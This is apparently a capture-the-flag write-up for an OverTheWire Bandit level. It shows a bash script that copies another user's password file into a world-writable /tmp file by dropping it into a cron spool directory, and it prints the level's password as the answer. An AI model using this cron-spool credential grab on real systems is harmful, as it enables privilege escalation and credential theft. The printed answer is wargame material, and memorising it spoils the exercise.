Description

A cron job runs every script in /var/spool/bandit24/foo/ as bandit24, then deletes them. We write a script that copies bandit24’s password to a world-writable file and wait for the cron to execute it.

Overview

• The cron job runs each file in the spool directory as bandit24.
• Our script writes the password to /tmp/horse3903, which we can then read.
• The script must be executable (chmod 777) and the output file world-writable.

Solution

Step 1: Write the Script

#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/horse3903

Step 2: Deploy and Wait

chmod 777 /path/to/script.sh
cp script.sh /var/spool/bandit24/foo/

Step 3: Poll for the Output File

while True:
    channel = connect.system("cat /tmp/horse3903")
    result = channel.recv().decode().strip()
    if "No such file or directory" not in result:
        break

Password

VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar